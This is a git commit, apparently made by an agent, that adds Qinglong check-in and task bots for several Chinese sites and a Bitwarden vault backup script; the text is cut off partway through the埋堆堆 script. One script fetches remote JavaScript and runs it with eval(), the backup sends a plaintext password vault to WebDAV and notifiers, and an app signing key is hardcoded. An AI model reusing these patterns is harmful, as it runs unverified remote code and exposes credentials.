Collect authenticated Qinglong scripts batch

This commit is contained in:
Hermes Agent
2026-05-24 03:53:42 +00:00
parent 0d80b33d25
commit 28d62fef03
86 changed files with 18420 additions and 5 deletions

View File

@@ -0,0 +1,35 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/Anime.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/Anime.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/Anime.js
// # UploadedAt: 2023-01-21T03:29:57Z
// # SHA256: ae31e135b3cf61bf21536d587c788f23b7fd2b7a338b497319f729e82deab24d
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const rules = {
name: "【Anime字幕论坛】",
url: "https://bbs.acgrip.com/member.php?mod=logging&action=login&mobile=2", //用于获取formhash的链接
cookie: config.Anime.cookie,
formhash: 'formhash\":\"(.+?)\"', //formhash正则
verify: "答案", //验证cookie状态
op: [{
name: "签到",
method: "post", //签到请求方式
url: "https://bbs.acgrip.com/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0&mobile=yes", //签到链接
data: "formhash=@formhash&qdxq=kx&qdmode=3&todaysay=&fastreply="
},
{
name: "申请红包任务",
ua: "pc",
method: "get",
url: "https://bbs.acgrip.com/home.php?mod=task&do=apply&id=1"
} ]
};
async function Anime() {
const template = require("../Template");
return rules.name + await template(rules)
}
module.exports = Anime

View File

@@ -0,0 +1,236 @@
# Source: https://github.com/CN-Grace/QinglongScripts/blob/main/Sync_Password.py
# Raw: https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/Sync_Password.py
# Repo: CN-Grace/QinglongScripts
# Path: Sync_Password.py
# UploadedAt: 2026-05-23T15:48:24Z
# SHA256: e63fb7c92c4a77f2dc4660a1ce3f0401a8173132dc4b8d36a99c7d383f91974e
# Category: web版/账密
# Evidence: web/H5关键词 + username/password/login
#!/usr/bin/env python3
"""
cron: 0 0 * * *
new Env("Bitwarden备份")
Bitwarden 自动备份脚本(带哈希比较,避免重复同步)
- 自动登录 Bitwarden 服务器并获取所有密码数据
- 将密码数据保存到本地 JSON 文件
- 比较今天与昨天的备份文件哈希,若无变化则跳过 WebDAV 同步
- 将备份文件同步到 WebDAV 服务器(仅当有更新时)
"""
import os
import json
import hashlib
import requests
import datetime
from requests.auth import HTTPBasicAuth
from typing import Dict, Any, Tuple
from utils import log_info, log_success, log_warning, log_error, beijing_now, beijing_time_str
from notifier import send as notify_send, send_file as notify_send_file
# ==================== 用户配置 ====================
BITWARDEN_SERVER = os.environ.get("BITWARDEN_SERVER", "")
BITWARDEN_USERNAME = os.environ.get("BITWARDEN_USERNAME", "")
BITWARDEN_PASSWORD = os.environ.get("BITWARDEN_PASSWORD", "")
WEBDAV_SERVER = os.environ.get("WEBDAV_SERVER", "")
WEBDAV_USERNAME = os.environ.get("WEBDAV_USERNAME", "")
WEBDAV_PASSWORD = os.environ.get("WEBDAV_PASSWORD", "")
WEBDAV_REMOTE_DIR = os.environ.get("WEBDAV_REMOTE_DIR", "")
LOCAL_BACKUP_PATH = os.environ.get("SYNC_LOCAL_DIR", "Password/")
BACKUP_FILENAME_FORMAT = "%Y-%m-%d_bitwarden_backup.json"
def create_session() -> requests.Session:
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json, text/plain, */*"})
return session
def bitwarden_login(session: requests.Session) -> Tuple[bool, str]:
login_url = f"{BITWARDEN_SERVER.rstrip('/')}/identity/connect/token"
login_data = {
"scope": "api offline_access", "client_id": "web", "deviceType": "12",
"deviceIdentifier": "65ff3d73-fd5f-4835-8a50-fa7f41581f48", "deviceName": "edge",
"grant_type": "password", "username": BITWARDEN_USERNAME, "password": BITWARDEN_PASSWORD,
}
try:
log_info(f"正在登录 Bitwarden: {BITWARDEN_SERVER}")
resp = session.post(login_url, data=login_data, timeout=30)
resp.raise_for_status()
access_token = resp.json().get("access_token")
if access_token:
session.headers.update({"Authorization": f"Bearer {access_token}"})
log_success("Bitwarden 登录成功")
return True, "✅ Bitwarden 登录成功"
log_error("响应中未找到 access_token")
return False, "❌ Bitwarden 登录失败: 未找到 access_token"
except Exception as e:
log_error(f"Bitwarden 登录失败: {e}")
return False, f"❌ Bitwarden 登录失败: {e}"
def get_bitwarden_data(session: requests.Session) -> Tuple[bool, Any, str]:
sync_url = f"{BITWARDEN_SERVER.rstrip('/')}/api/sync"
try:
log_info("正在获取 Bitwarden 数据...")
resp = session.get(sync_url, params={"excludeDomains": "true"}, timeout=30)
resp.raise_for_status()
data = resp.json()
if data and isinstance(data, dict):
item_count = len(data.get("ciphers", []))
log_success(f"成功获取数据 ({item_count} 个密码项)")
return True, data, f"✅ 成功获取数据 ({item_count} 个密码项)"
return False, None, "⚠️ 数据为空或格式不正确"
except Exception as e:
log_error(f"获取数据失败: {e}")
return False, None, f"❌ 获取数据失败: {e}"
def save_backup_locally(data: Dict[str, Any]) -> Tuple[bool, str, str]:
if not os.path.exists(LOCAL_BACKUP_PATH):
os.makedirs(LOCAL_BACKUP_PATH, exist_ok=True)
today = beijing_now()
filename = today.strftime(BACKUP_FILENAME_FORMAT)
filepath = os.path.join(LOCAL_BACKUP_PATH, filename)
try:
with open(filepath, "w", encoding="utf-8") as f:
json.dump(data, f, indent=4, ensure_ascii=False)
file_size = os.path.getsize(filepath) / (1024 * 1024)
log_success(f"本地备份: {filename} ({file_size:.2f} MB)")
return True, filepath, f"✅ 本地备份成功: {filename} ({file_size:.2f} MB)"
except Exception as e:
log_error(f"本地备份失败: {e}")
return False, "", f"❌ 本地备份失败: {e}"
def get_file_hash(filepath: str) -> str:
hash_md5 = hashlib.md5()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def sync_to_webdav(local_filepath: str) -> Tuple[bool, str]:
if not os.path.exists(local_filepath):
return False, "❌ WebDAV 同步失败: 本地文件不存在"
filename = os.path.basename(local_filepath)
remote_dir = WEBDAV_REMOTE_DIR.rstrip("/") if WEBDAV_REMOTE_DIR else "123Pan/Password"
remote_path = f"{WEBDAV_SERVER.rstrip('/')}/{remote_dir}/{filename}"
try:
with open(local_filepath, "rb") as f:
file_data = f.read()
log_info(f"正在上传到 WebDAV: {remote_path}")
resp = requests.put(url=remote_path, data=file_data, auth=HTTPBasicAuth(WEBDAV_USERNAME, WEBDAV_PASSWORD), headers={"Content-Type": "application/octet-stream"}, timeout=60)
if resp.status_code in (200, 201, 204):
log_success("WebDAV 同步成功")
return True, f"✅ WebDAV 同步成功: {filename}"
return False, f"❌ WebDAV 同步失败: 状态码 {resp.status_code}"
except Exception as e:
log_error(f"WebDAV 同步失败: {e}")
return False, f"❌ WebDAV 同步失败: {e}"
def build_report_content(log_messages: list) -> str:
lines = [
"🔐 Bitwarden 备份报告", "",
f"📅 备份时间: {beijing_time_str()}",
f"👤 账户: {BITWARDEN_USERNAME}", "",
"" * 18, "",
"📋 备份步骤状态:",
]
for i, msg in enumerate(log_messages, 1):
lines.append(f" {i}. {msg}")
success_count = sum(1 for m in log_messages if m.startswith(""))
info_count = sum(1 for m in log_messages if m.startswith("") or m.startswith("⚠️"))
skip_count = sum(1 for m in log_messages if m.startswith("⏭️"))
lines.extend(["", "" * 18, f"📊 统计: 成功 {success_count} | 信息 {info_count} | 跳过 {skip_count} | 总计 {len(log_messages)}", "", f"🕒 执行时间: {beijing_time_str()}"])
return "\n".join(lines)
def perform_backup() -> Tuple[bool, list, str, bool]:
log_messages = []
backup_filepath = None
has_update = True
session = create_session()
login_success, login_msg = bitwarden_login(session)
log_messages.append(login_msg)
if not login_success:
return False, log_messages, None, has_update
data_success, bitwarden_data, data_msg = get_bitwarden_data(session)
log_messages.append(data_msg)
if not data_success or bitwarden_data is None:
return False, log_messages, None, has_update
save_success, filepath, save_msg = save_backup_locally(bitwarden_data)
log_messages.append(save_msg)
backup_filepath = filepath if save_success else None
if save_success and backup_filepath:
today = beijing_now()
yesterday = today - datetime.timedelta(days=1)
yesterday_filename = yesterday.strftime(BACKUP_FILENAME_FORMAT)
yesterday_filepath = os.path.join(LOCAL_BACKUP_PATH, yesterday_filename)
if os.path.exists(yesterday_filepath):
if get_file_hash(backup_filepath) == get_file_hash(yesterday_filepath):
has_update = False
log_info("备份文件与昨天相同,无更新")
log_messages.append(" 备份文件与昨日一致,无新内容")
else:
log_info("备份文件有更新")
else:
log_info("昨日备份不存在,视为有更新")
if has_update:
sync_success, sync_msg = sync_to_webdav(backup_filepath)
log_messages.append(sync_msg)
else:
log_messages.append("⏭️ WebDAV 同步跳过: 文件无变化")
else:
log_messages.append("⏭️ WebDAV 同步跳过: 本地备份失败")
all_success = all(msg.startswith("") or msg.startswith("⏭️") or msg.startswith("") for msg in log_messages)
return all_success, log_messages, backup_filepath, has_update
def main():
log_info("=" * 50)
log_info("Bitwarden 自动备份脚本开始执行")
log_info("=" * 50)
start_time = beijing_now()
backup_success, log_messages, backup_filepath, has_update = perform_backup()
title = f"Bitwarden 备份报告"
content = build_report_content(log_messages)
if has_update and backup_filepath and os.path.exists(backup_filepath):
notify_send_file(title, content, backup_filepath)
else:
notify_send(title, content)
print(f"\n{'=' * 60}\nBitwarden 备份完成报告:\n{'=' * 60}")
for i, msg in enumerate(log_messages, 1):
print(f"{i}. {msg}")
print(f"\n执行时间: {(beijing_now() - start_time).total_seconds():.2f}")
print("=" * 60)
return 0 if backup_success else 1
if __name__ == "__main__":
import sys
try:
exit_code = main()
except KeyboardInterrupt:
log_info("用户中断执行")
exit_code = 130
except Exception as e:
log_error(f"脚本异常: {e}")
exit_code = 1
log_info(f"脚本执行结束,退出代码: {exit_code}")
sys.exit(exit_code)

View File

@@ -0,0 +1,224 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/acfun.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/acfun.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/acfun.js
// # UploadedAt: 2021-07-21T17:31:24Z
// # SHA256: ce0d786f36ec77fa4731b48f033edd1b0f7467bad760180dbafe255abace5c94
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
var st = "";
var result = "ACFUN:\n";
var authkey = "";
var headers = {
"referer": "https://www.acfun.cn/",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Safari/537.36",
cookie: "",
};
const axios = require("axios");
function get(options) {
return new Promise((resolve, reject) => {
axios
.post(
"https://www.acfun.cn/rest/pc-direct" + options.url,
options.para, {
headers,
}
)
.then((response) => {
signdata = ""
resolve(response.data);
})
.catch((err) => {
resolve(err.response.data);
});
});
}
var signIn = async function() {
return await get({
url: `/user/signIn`,
para: {},
}).then((res) => {
if (res.result == 0) {
signata = "签到成功! || ";
} else if (res.result == 122) {
signdata = "今天已经签到过啦! || ";
}
console.log(signdata);
result += signdata
return res;
});
};
var ThrowBanana = async function(id) {
return await get({
url: "/banana/throwBanana",
para: `resourceId=${id}&count=1&resourceType=2`,
}).then(async (res) => {
console.log(id);
if (res.result == 0) {
signdata = "🍌易已达成! || ";
} else if (
res.error_msg == "内容未找到" ||
res.error_msg == "被投蕉用户id不能小于0"
) {
await ThrowBanana(Math.round(Math.random() * 10000) + 14431808);
} else {
signdata = "🍌易失败! || ";
console.log(res);
}
console.log(signdata);
result += signdata;
return res;
});
};
var getinfo = async function() {
return await get({
url: "/user/personalInfo",
para: "",
}).then(async (res) => {
let info = `香蕉:${res.info.banana} 金香蕉:${res.info.goldBanana} `
result += info
console.log(info)
});
};
var NewDanmu = async function() {
return await get({
url: `/new-danmaku/add`,
para: "mode=1&color=16777215&size=25&body=%E5%A5%BD%E8%80%B6&videoId=21772556&position=0&type=douga&id=26084622&subChannelId=60&subChannelName=%E5%A8%B1%E4%B9%90&roleId=",
}).then((res) => {
//console.log(res)
if (res.result == 0) {
signdata = "发送弹幕成功! || ";
} else {
signdata = "发送弹幕失败!|| ";
console.log(res);
}
console.log(signdata);
result += signdata;
return res;
});
};
//分享任务
function share() {
return new Promise(async (resolve) => {
try {
let res = await axios.get("https://api-ipv6.app.acfun.cn/rest/app/task/reportTaskAction?taskType=1&market=tencent&product=ACFUN_APP&sys_version=8.0.0&app_version=6.42.0.1119&ftt=K-F-T&boardPlatform=hi3650&sys_name=android&socName=%3A%20HiSilicon%20Kirin%20950&ks_ipv6_cellular=2408%3A8470%3A8a03%3A526d%3A8017%3Acdeb%3A414%3Acbec&appMode=0", {
headers
});
if (res.data.result == 0) {
console.log("分享成功");
result += "分享成功! "
} else {
console.log(res.data);
}
} catch (err) {
console.log(err.response.data);
console.log("分享接口请求出错");
result += "分享接口请求出错! ";
}
resolve();
});
}
function getoken() {
return new Promise(async (resolve) => {
try {
let res = await axios.post(
"https://id.app.acfun.cn/rest/web/token/get",
"sid=acfun.midground.api", {
headers,
}
);
if (res.data.result == 0 && res.data["acfun.midground.api_st"]) {
st = res.data["acfun.midground.api_st"];
// signdata = "获取token成功";
// console.log(signdata);
await interact("delete"); //取消点赞
await interact("add"); //重新点赞
} else {
// signdata = "获取token失败";
console.log(res.data);
}
// result += signdata;
} catch (err) {
console.log(err.response.data);
// result += "token获取出错 || ";
}
resolve();
});
}
//点赞
function interact(option) {
return new Promise(async (resolve) => {
try {
let data = `kpn=ACFUN_APP&kpf=PC_WEB&subBiz=mainApp&interactType=1&objectType=2&objectId=26030726&acfun.midground.api_st=${
st || 0
}&userId=${authkey}&extParams%5BisPlaying%5D=false&extParams%5BshowCount%5D=1&extParams%5BotherBtnClickedCount%5D=10&extParams%5BplayBtnClickedCount%5D=0`;
let res = await axios.post(
`https://kuaishouzt.com/rest/zt/interact/${option}`,
data, {
headers,
}
);
if (res.data.result == 1) {
console.log("点赞成功");
} else {
console.log(res.data);
}
} catch (err) {
console.log(err.response.data);
console.log("点赞接口请求出错");
result += "点赞接口请求出错! || ";
}
resolve();
});
}
function acfun(account, password) {
return new Promise(async (resolve) => {
try {
console.log("Acfun每日任务开始...");
const account = config.acfun.phone;
const password = config.acfun.password;
let res = await axios.post(
"https://id.app.acfun.cn/rest/web/login/signin",
`username=${account}&password=${password}`, {
headers,
}
);
if (res.data.result == 0) {
result += loginresult = `${res.data.username}登陆成功👏 || `;
console.log(loginresult);
authkey = res.data.auth_key;
for (ck of res.headers["set-cookie"]) {
headers.cookie += ck.split(";")[0] + ";"
}
await signIn();
await ThrowBanana(Math.round(Math.random() * 10000) + 14431808);
await NewDanmu();
await getoken();
await share()
await getinfo()
} else {
result += loginresult = `登陆失败 ${res.data.error_msg}😅!!`;
console.log(loginresult)
}
} catch (err) {
console.log(err);
result += "登陆失败😅!!";
console.log("登陆失败");
}
resolve(result);
});
}
//acfun()
module.exports = acfun;

View File

@@ -0,0 +1,62 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/aoqi.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/aoqi.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/aoqi.js
// # UploadedAt: 2024-02-09T08:25:50Z
// # SHA256: eb9a39b19a4c85f698020d7843d5052e768dff4a2705106bd64228d4cba6c34e
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
const axios = require("axios")
var sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
const headers = {
"User-Agent": "Mozilla/5.0 (Linux; Android 11; Redmi K30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
referer: "http://www.100bt.com/",
"Host": "service.100bt.com",
cookie: config.aoqi.cookie
}
function get(api, data) {
return new Promise(async (resolve) => {
try {
let url = `http://service.100bt.com/creditmall/${api}.jsonp?${data}&_=${Date.now()}`
let res = await axios.get(url, {
headers
})
console.log(res.data.jsonResult.message)
resolve(res.data.jsonResult)
} catch (err) {
console.log(err)
}
resolve();
});
}
function getSsort(arr){for(var j=0;j<arr.length-1;j++){for(var i=0;i<arr.length-1-j;i++){if(Number(arr[i].score)<Number(arr[i+1].score)){var temp=arr[i];arr[i]=arr[i+1];arr[i+1]=temp}}}return arr};
async function aoqi() {
let info = ""
let taskList = []
let res = await get("activity/daily_task_list", "gameId=2")
if (res.code == 0 && res.data) {
let b = res.data.filter(x => x.status == 1).length
if (b == 5) console.log("今日已完成5任务")
else taskList = await getSsort(res.data.filter(x => x.status != 1))
for (task of taskList) {
await sleep(2500)
await get("activity/do_task", `taskId=${task.taskID}&gameId=${task.gameID}`)
}
let infores = await get("my/user_info")
info = `积分:${infores.data.credit} 已累计签到:${infores.data.signInTotal}`
} else {
info = res.message
if((/请先登录/).test(info)) info +="单独通知"
}
console.log(info)
return "【奥拉星】:"+info
}
//aoqi()
module.exports = aoqi

View File

@@ -0,0 +1,239 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/hykb.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/hykb.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/hykb.js
// # UploadedAt: 2022-02-13T11:19:00Z
// # SHA256: abf39a687de703fd6dc0d8c0e524aba65c955cb47ead443d595a5d1ced87e751
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
//好游快爆爆米花任务,可兑换激活码、实物周边等
//我的邀请码 sdvf180uscf3
result = "【好游快爆】:";
const $http = axios = require("axios");
const hyck = config.hykb.scookie;
const qq = config.hykb.qq?config.hykb.qq:null
//照料id 我没加好友所以随机取得 第一个是我,不建议改ヽ(*´з`*)ノ
// const moment=require("moment")
var uid = ""
//照料id 我没加好友所以随机取得 第一个是我,不建议改ヽ(*´з`*)ノ
buid = [21039293,48653684,44191145,54216701,54184381,38442812,34977383,54099572,54060137,18344113,53950826,53334988,49100316,24158995,53043395,53746196,7495782,53752398,13268805,53540861,53169378,53481728,53480955,53236037,5015419,17998323,142234,53043027,53022651,52883552,52919017,52883915,2987459,52863870]
scookie = hyck.match(/\|/)?encodeURIComponent(hyck):hyck
function get(a, b) {
return new Promise(async (resolve) => {
try {
let res = await axios.post(
`https://huodong3.3839.com/n/hykb/${a}/ajax.php`,
`ac=${b}&r=0.${Math.round(Math.random() * 8999999999999999) + 1000000000000000}&scookie=${scookie}`,
{
headers: {
"User-Agent":
config.UA?config.UA:"Mozilla/5.0 (Linux; Android 8.0.0; FRD-AL10 Build/HUAWEIFRD-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36 V1_AND_SQ_7.1.0_0_TIM_D TIM/3.0.0.2860 QQ/6.5.5 NetType/WIFI WebP/0.3.0 Pixel/1080",
},
}
);
if (JSON.stringify(res.data).match(/玉米成熟度已经达到100/)) {
await get("grow", "PlantRipe"); //收获
await get("grow", "PlantSow"); //播种
await get(a, b); //播种
}
if (JSON.stringify(res.data).match(/还没有播种玉米/)) {
let bzs = await get("grow", "PlantSow"); //播种
if (bzs.seed && bzs.seed == 0) {
// console.log("莫得种子了")
await get("grow", "GouMai&resure=1&gmmode=seed&tmpNum=10"); //购买种子*10
await get("grow", "PlantSow"); //播种
}
await get(a, b);
}
back = res.data;
console.log(back);
} catch (err) {
console.log(err);
}
resolve(back);
});
}
function getid() {
return new Promise(async (resolve) => {
try {
let res = await axios.get(
"https://huodong3.3839.com/n/hykb/gs/index.php"
);
//预约游戏id
str = res.data.match(/HdmodelUser\.Ling\((.+?)\)/g);
let res2 = await axios.get(
"https://huodong3.3839.com/n/hykb/grow/daily.php"
);
//任务id
str2 = res2.data.match(
/ACT\.Daily[a-z,A-Z]+(Share||Ling||JiaoHu){1,}\(\d+\)/g
);
id = str.concat(str2);
} catch (err) {
console.log(err);
}
resolve();
});
}
async function task() {
let logindata = await get("grow", "Dailylogin&id=174");
if (logindata.key == "ok" ) {
exdata = await get("kbexam","login")
if(exdata.config.lyks==1){
var mres = await axios.get(
"https://ghproxy.com/https://raw.githubusercontent.com/Wenmoux/sources/master/other/miling.json"
);
await get("friend", `Secretorder&miling=${mres.data.miling}`); //密令
await get("wxsph", `send_egg&egg_data=${mres.data.egg}`); //视频彩蛋
await get("grow", "GuanZhu&singleUid=21039293"); //关注我
await get("signhelp", "useCode&code=21039293"); //邀请码
await get("friend", "LingXinrenFuli");
await get("grow", "shareEwai");
// await get("friend","EnterInviteCode&invitecode=sdvf180uscf3","") //填邀请码
await getid(); //获取任务id
await get("grow", "Watering&id=6"); //浇灌
let canzl = true
let mode =0
// let uids = await axios.get("http://1oner.cn:1919/hykb/all?res=uid")
// if(uids && uids.data && uids.data.message) buid = uids.data.message
for (i of buid) {
if(mode!=2){
if(canzl) {
let zlres= await get("grow", `gamehander&buid=${i}&icon_id=58`); //照料
mode = zlres.mode
if(zlres.sy_day_shijian_corn_max_num ==0) canzl=false
}
if (i != 21039293) {
let stealres = await get("grow", `gamehander&buid=${i}&icon_id=888888`,true); //偷玉米
console.log(`${i}玉米 ${stealres.msg}`)
}
}}
// if(mode!=2) await axios.post("http://1oner.cn:1919/hykb/add", `uid=${logindata.uid}&nickname=${encodeURI(logindata.name)}`)
for (i of id) {
i = i.match(/\.(.+)\((\d+)\)/);
switch (i[1]) {
case "Ling":
await get("gs", `recordshare&gameid=${i[2]}`); //分享
await get("gs", `ling&gameid=${i[2]}`); //领取
break;
case "DailyShare":
await get("grow", `DailyShare&id=${i[2]}`); //发起分享
await get("grow", `DailyShareCallb&id=${i[2]}`); //返回
await get("grow", `DailyShare&id=${i[2]}`); //领取
break;
case "DailyAppLing":
await get("grow", `DailyAppJump&id=${i[2]}`); //好游快玩
await get("grow", `DailyAppLing&id=${i[2]}`);
break;
case "DailyGameCateLing":
await get("grow", `DailyGameCateJump&id=${i[2]}`); //精品栏目
await get("grow", `DailyGameCateLing&id=${i[2]}`);
break;
case "DailyGameLing":
await get("grow", `DailyGamePlay&id=${i[2]}`); //打开试玩
await get("grow", `DailyGameLing&id=${i[2]}`); //试玩领取
break;
case "DailyYuyueLing":
await get("grow", `DailyYuyueLing&id=${i[2]}`); //预约领取
break;
case "DailyDouyinLing":
await get("grow", "DailyDouyinCheck", i[2]);
await get("grow", "DailyDouyinPlay", i[2]); //打开抖音
await get("grow", "DailyDouyinLing", i[2]); //领取
break;
case "DailyVideoLing":
await get("grow", `DailyVideoGuanzhu&id=${i[2]}`);
await get("grow", `DailyVideoShare&id=${i[2]}`);
await get("wxsph", "share&mode=qq"); //DailyVideoShare
await get("grow", `DailyVideoLing&id=${i[2]}`);
case "DailyJiaoHu":
await get("grow", `DailyJiaoHu&id=${i[2]}`); //分享任务
break;
case "DailyDati":
let ress = await get("grow", "DailyDati&id=4"); //获取题目
if (ress.option1 && ress.expand) {
i = 1;
kw = 1;
let yxid = ress.expand.split("##")[1] || "16876"; //获取游戏id
let urll = `https://api.3839app.com/cdn/android/gameintro-home-1546-id-${yxid}-packag--level-2.htm`;
let resss = await axios.get(urll);
if (resss.data.result) {
let strr = JSON.stringify(resss.data.result.data.downinfo.appinfo)
.replace(/&nbsp;/g, "")
.replace(/ /g, ""); //查答案
reg = /错误|不属于|不是|不存在|没有|不需要|不能|不可以/;
if (reg.test(ress.title)) {
console.log("错误类型");
for (i; i < 5; i++) {
let strrr = ress["option" + i].replace(/ /g, "");
if (!strr.match(strrr)) {
kw = i;
// await get("grow", `DailyDatiAnswer&option=${ress["option" + i]}`, 4)
}
}
} else {
// console.log("正确类型")
for (i; i < 5; i++) {
let strrr = ress["option" + i].replace(/ /g, "");
if (strr.match(strrr)) {
kw = i;
// await get("grow", `DailyDatiAnswer&option=${ress["option" + kw]}`, 4)
}
}
}
//瞎鸡儿答 非游戏类问题/找不到答案
//算了不瞎鸡儿答了 自行去app里答吧
}
console.log("正确答案");
console.log(ress["option" + kw]);
await get("grow", `DailyDatiAnswer&option=${ress["option" + kw]}&id=4`);
} else {
console.log("劳资找不到答案,请自行去app里答题");
}
break;
case "DailyFriendLing":
await get("grow", `DailyFriendLing&id=${i[2]}`); //照料5次
break;
case "DailyInviteLing":
/* let invite = await get("grow", `DailyInviteJump&id=${i[2]}`);
let uid = invite.invite_url.match(/u=(.+?)&/);
await get("grow", `DailyInvite&u=${uid ? uid[1] : ""}&rwid=10`); //邀请下载
*/
await get("grow", `DailyInviteLing&id=${i[2]}`);
break;
}
}
let tasl1data = await axios.get(
"https://ghproxy.com/https://raw.githubusercontent.com/Wenmoux/sources/master/other/activities.js"
);
eval(tasl1data.data);
await task1();
let csdata = await get("grow", `Dailylogin&id=174`); //查询
if (csdata.key == "ok" && csdata.config ) {
csinfo = csdata.config
exinfo = exdata.config
result +=`昵称:${csinfo.name} \n种子:${csinfo.seed}爆米花:${csinfo.baomihua} \n成熟度:${csinfo.chengshoudu} \n荣誉等级:${exinfo.tag_title}\n`
if (csinfo.chengshoudu == 100) {
await get("grow", "PlantRipe"); //收获
await get("grow", "PlantSow"); //播种
}
} else {
result += csdata.key;
}
}else{
result += "请先进行礼仪考试,再运行脚本"
}
return result;
} else {
console.log(logindata);
return "【好游快爆】: " + logindata.key;
}
}
module.exports = task;

View File

@@ -0,0 +1,347 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/mdd.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/mdd.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/mdd.js
// # UploadedAt: 2022-11-27T14:39:31Z
// # SHA256: 56d7dc787522745234fbc3197a7cbdc59fb6eb341e2faf9868ca43d35cc7b5bb
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
/*
sign解密过程
http://www.liteng1220.com/blog/articles/mdd-crack/
https://github.com/navhu/MddOnline
2021-04-09
*/
const axios = require("axios")
const md5 =require("crypto-js").MD5
const appToken = config.mdd.appToken
const deviceNum = config.mdd.deviceNum ? config.mdd.deviceNum : "11b1384f0801478795ae2fab421fc413" 
let taskVideoUuid;
var i = 1
const date = new Date();
signdata = "【埋堆堆每日任务】:"
const Sign = function(action, param) {
var str = '';
var arr = [];
var data = {
'os': 'iOS',
'version': '4.0.92',
'action': action,
'time': new Date().getTime().toString(),
'appToken': appToken,
'privateKey': 'e1be6b4cf4021b3d181170d1879a530a9e4130b69032144d5568abfd6cd6c1c2',
'data': ''
};
for (var key in data) {
if (data.hasOwnProperty(key)) {
arr.push(key + ':' + data[key]);
}
} 
str = arr.join('|'); 
for (var key in param) {
if (param.hasOwnProperty(key)) {
str += (key + '=' + param[key] + '&');
}
}
sign = md5(str).toString()
bbody = {
action: action,
os: 'iOS',
channel: 'AppStore',
time: data.time,
deviceNum: '11b1384f0801478795ae2fab421fc413',
deviceType: 1,
appToken: appToken,
data: param,
version: '4.0.92',
sign
}
return bbody
}
function task(name, action, param) {
return new Promise(async (resolve) => {
try {
let data = Sign(action, param)
let res = await axios.post(`https://mob.mddcloud.com.cn${action}`, data, {
headers: {
"Content-Type": "application/json"
}
})
// console.log(res.data)
if (res.data.status && res.data.data) {
if (action.match(/like/)) {
console.log(`${i++}次点赞成功`)
msg = ""
} else {
if (action.match(/signIn/)) {
msg = `签到成功:获得${res.data.data.pointIncr}堆豆,${res.data.data.expIncr} || `
} else if (action.match(/acceptAll/)) {
msg = `领取成功!获得${res.data.data.pointIncr}堆豆,${res.data.data.expIncr}经验 当前共${res.data.data.memberPoint}堆豆,${res.data.data.memberExp}经验值`
} else {
msg = `${name}${res.data.msg} || `
}
}
} else {
msg = name + "" + res.data.msg + " || "
}
resolve(res.data)
console.log(msg)
signdata += msg
} catch (err) {
console.log(err);
signdata += "签到接口请求失败"
}
resolve();
});
}
async function mdd() {
/*
await task("登陆","/api/member/login.action",{
"loginNum": "手机号",
"password": "密码",
"type": 0
}) 一般用不到 群里有个憨批分身抓不了包
*/
let sres = await task("每日签到", "\/missionApi\/signIn\/sign", {})
if(sres.msg.match(/已下线/)) return signdata
await task("获取VIP 签到页面任务", "\/api\/module/listTabModules.action", {
"maxModuleType" : 37,
"rows" : 10,
"startRow" : 0,
"tabUuid" : "ff8080817b3f1fd3017b70bcda34199d",
}).then(async (res) => {
var missionUuid = 0;
for(var index = 0 ;index < res.data.length; index++){
var item = res.data[index];
if (item.moduleType == 35 && item.moduleData.length > 0){
//找到类型是VIP签到的并且模块不为空
//多从判断,防止以外报错
missionUuid = item.moduleData[0].continueSignInMission ? (item.moduleData[0].continueSignInMission.missionUuid || 0) : 0;
}
}
if(missionUuid){
console.log('成功获取到本周任务ID 是' + missionUuid);
await task("VIP每日签到 ", "\/missionApi\/signIn\/vipsign", {"missionUuid": missionUuid})
}
})
await task("查询关注状态", "/api/member/profile.action", {
memberUuid: "e3f799b3eeac4f2eaa5ea70b0289c67a"
}).then(async (res) => {
if (res.data.followType == 0) {
await task("关注我", "/api/member/followMember.action", {
memberUuid: "e3f799b3eeac4f2eaa5ea70b0289c67a"
})
}
})
//快速帖子评论
await task("获取【声生不息】板块帖子", "\/api/service/listPostOrderAndFilter.action", {
"postFilterType": 2,
"postOrderType" : 1,
"rows" : 20,
"serviceUuid" : "ff808081805a43c001805a7d31850119",//声生不息
"startRow" : 0
}).then(async (res) => {
if(res.data){
postUuid = res.data[0].uuid;
/**
* postComment = ["好听啊","真的好好听","听入迷了","🎵🎵🎵👍" ,"👍👍👍" ];
postComment.push(res.data[0].shareTitle);
console.log(postComment);
signdata += "评论了《"+res.data[0].title+"》\n";
await task("评论帖子", "\/api\/postComment\/replyComment.action", {
"atInfoList": "[]",
"content": postComment[Math.round(Math.random() * postComment.length)],
"contentType": 0,
